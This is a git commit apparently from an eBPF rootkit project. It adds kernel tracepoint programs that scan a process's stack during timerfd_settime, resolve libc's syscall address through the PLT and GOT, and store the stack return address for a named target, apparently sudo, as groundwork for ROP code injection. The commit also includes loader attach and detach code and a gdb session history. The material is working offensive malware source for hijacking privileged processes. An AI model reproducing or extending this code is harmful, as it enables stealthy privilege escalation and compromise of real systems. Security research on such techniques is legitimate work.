Finished extraction of return address from the stack, and libc syscall adress

This commit is contained in:
h3xduck
2022-03-17 19:32:32 -04:00
parent 9647972531
commit fcf43ff180
10 changed files with 9999 additions and 9475 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -24,7 +24,7 @@ struct fs_open_data{ //Map value
};
struct inj_ret_address_data{ //Map value
__u32 pid;
__u64 libc_syscall_address;
__u64 stack_ret_address;
};

View File

@@ -24,6 +24,13 @@ struct sys_timerfd_settime_enter_ctx {
struct __kernel_itimerspec *otmr;
};
struct sys_timerfd_settime_exit_ctx {
unsigned long long unused; //Pointer to pt_regs
int __syscall_nr;
unsigned int padding; //Alignment
long ret;
};
/**
* @brief Checks whether the format of the syscall is the expected one
*
@@ -32,8 +39,8 @@ struct sys_timerfd_settime_enter_ctx {
* @return 0 if correct, 1 otherwise
*/
static __always_inline int check_syscall_opcodes(__u8* opcodes){
return 0 == (opcodes[0]==0xf3
&& opcodes[1]==0x0f
return 0 == (/*opcodes[0]==0xf3 //FOR GDB WORKING
&&*/ opcodes[1]==0x0f
&& opcodes[2]==0x1e
&& opcodes[3]==0xfa
&& opcodes[4]==0x49
@@ -107,6 +114,9 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
//the linker will place the address inside the shared library where the function is located.
//More info in the documentation.
__u64 got_addr;
if(j_addr==NULL){
return -1;
}
bpf_probe_read_user(&got_addr, sizeof(__u64), j_addr);
bpf_printk("GOT_ADDR: %lx\n",got_addr);
//Now that we have the address placed in the GOT section we can finally go to the function in glibc
@@ -120,17 +130,23 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
bpf_printk("Not the expected syscall\n");
return -1;
}
//We got the expected syscall. We return the address at which we found it
//We got the expected syscall.
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr == NULL){
if(pid_tgid<0){
return -1;
}
struct inj_ret_address_data addr = *inj_ret_addr;
addr.pid = pid;
addr.stack_ret_address = (__u64)got_addr;
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr != NULL ){
//It means we have already performed this whole operation
return -1;
}
bpf_printk("Final found libc syscall address: %lx\n", got_addr);
struct inj_ret_address_data addr;
addr.libc_syscall_address = (__u64)got_addr;
addr.stack_ret_address = 0;
bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
}
@@ -140,7 +156,7 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
SEC("tp/syscalls/sys_enter_timerfd_settime")
int sys_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
__u64 *scanner = (__u64*)ctx->otmr;
int fd = ctx->ufd;
@@ -165,7 +181,28 @@ int sys_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
for(__u64 ii=0; ii<100; ii++){
bpf_probe_read(&address, sizeof(__u64), (void*)scanner - ii);
//bpf_printk("stack: %lx\n", address);
stack_extract_return_address_plt(address);
if(stack_extract_return_address_plt(address)==0){
//We found the return address
__u64 found_return_address = *scanner - ii;
//We put it in an internal map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
return -1;
}
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr == NULL ){
//It means we failed to insert into the map before
return -1;
}
struct inj_ret_address_data addr = *inj_ret_addr;
addr.stack_ret_address = (__u64)scanner - ii;
if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_EXIST)<0){
bpf_printk("Failed to insert the return address in bpf map\n");
return -1;
}
bpf_printk("Final found return address: %lx\n", addr.stack_ret_address);
return 0;
}
}
@@ -174,6 +211,34 @@ int sys_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
return 0;
}
SEC("tp/syscalls/sys_enter_timerfd_settime")
int sys_exit_timerfd_settime(struct sys_timerfd_settime_exit_ctx *ctx){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
if(err<0){
return -1;
}
char *task = TASK_COMM_NAME_ROP_TARGET;
if(str_n_compare(comm, TASK_COMM_LEN, task, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
return 0;
}
//If we are here we may have the return address stored in the map.
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32;
struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
if (inj_ret_addr == NULL){
//We failed to identify the return address in the previous probe.
return -1;
}
struct inj_ret_address_data addr = *inj_ret_addr;
bpf_printk("PID: %u, SYSCALL_ADDR: %lx, STACK_RET_ADDR: %lx", pid, addr.libc_syscall_address, addr.stack_ret_address);
return 0;
}

View File

@@ -39,3 +39,72 @@ r
si
si
q
b *(test_time_values_injection +116)
r
si
d/i 0x405130
d/i2 0x405130
display/i2 0x405130
display/i 0x405130
display/i4 0x405130
display/2i 0x405130
display/10i 0x405130
disassemble /r 0x405130
disassemble /r 0x6095d8f7ff7f
disassemble /r 0x6095d8f7ff7f00
disassemble /r 0x6095d8f7ff7f0000
disassemble /r 0x6095d8f7ff7f00007612
disassemble /r 0x6095d8f7ff7f000076
disassemble /r 0x6095d8f7ff7f0000
disassemble /r 0x00007ffff7d89560
d/10i 0x00007ffff7d89560
context
disassemble /r 0x405130
d/10i 0x7ffff7d89560
disassemble 0x7ffff7d89560
disassemble /r 0x7ffff7d89560
disassemble timerfd_settime
disassemble __libc_start_main
q
disass test_time_values_injection
b *(test_time_values_injection+74)
r
si
ni
si
disass timerfd_settime
b 0x00007ffff7d89560
b __timerfd_settime
r
r
r
r
r
r
r
r
r
del 1
r
q
b __timerfd_settime
b timerfd_S
b timerfd_settime
r
q
b timerfd_settime
r
si
ni
disass timerfd_settime
disass /r timerfd_settime
q
b timerfd_settime
r
si
ni
disass /r timerfd_settime
r
si
ni
q

View File

@@ -1,2 +1,2 @@
break *(test_time_values_injection +116)
break timerfd_settime

View File

@@ -8,28 +8,42 @@
#include "common.h"
//Connections
int attach_sys_timerfd_settime(struct kit_bpf *skel){
int attach_sys_enter_timerfd_settime(struct kit_bpf *skel){
//skel->links.kprobe_sys_geteuid = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992);
skel->links.sys_timerfd_settime = bpf_program__attach(skel->progs.sys_timerfd_settime);
return libbpf_get_error(skel->links.sys_timerfd_settime);
skel->links.sys_enter_timerfd_settime = bpf_program__attach(skel->progs.sys_enter_timerfd_settime);
return libbpf_get_error(skel->links.sys_enter_timerfd_settime);
}
int attach_sys_exit_timerfd_settime(struct kit_bpf *skel){
skel->links.sys_exit_timerfd_settime = bpf_program__attach(skel->progs.sys_exit_timerfd_settime);
return libbpf_get_error(skel->links.sys_exit_timerfd_settime);
}
int attach_injection_all(struct kit_bpf *skel){
return attach_sys_timerfd_settime(skel);
return attach_sys_enter_timerfd_settime(skel)
|| attach_sys_exit_timerfd_settime(skel);;
}
int detach_sys_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_timerfd_settime);
int detach_sys_enter_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_enter_timerfd_settime);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_sys_exit_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_exit_timerfd_settime);
if(err<0){
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_injection_all(struct kit_bpf *skel){
return detach_sys_timerfd_settime(skel);
return detach_sys_enter_timerfd_settime(skel)
|| detach_sys_exit_timerfd_settime(skel);
}
#endif

View File

@@ -26,7 +26,8 @@ module_config_t module_config = {
},
.injection_module = {
.all = ON,
.sys_timerfd_settime = OFF
.sys_enter_timerfd_settime = OFF,
.sys_exit_timerfd_settime = OFF
}
};
@@ -88,7 +89,8 @@ int setup_all_modules(){
if(config.injection_module.all == ON){
ret = attach_injection_all(attr.skel);
}else{
if(config.injection_module.sys_timerfd_settime == ON) ret = attach_sys_timerfd_settime(attr.skel);
if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel);
if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel);
}
if(ret!=0) return -1;

View File

@@ -37,7 +37,8 @@ typedef struct module_config_t{
struct injection_module {
char all;
char sys_timerfd_settime;
char sys_enter_timerfd_settime;
char sys_exit_timerfd_settime;
}injection_module;
} module_config_t;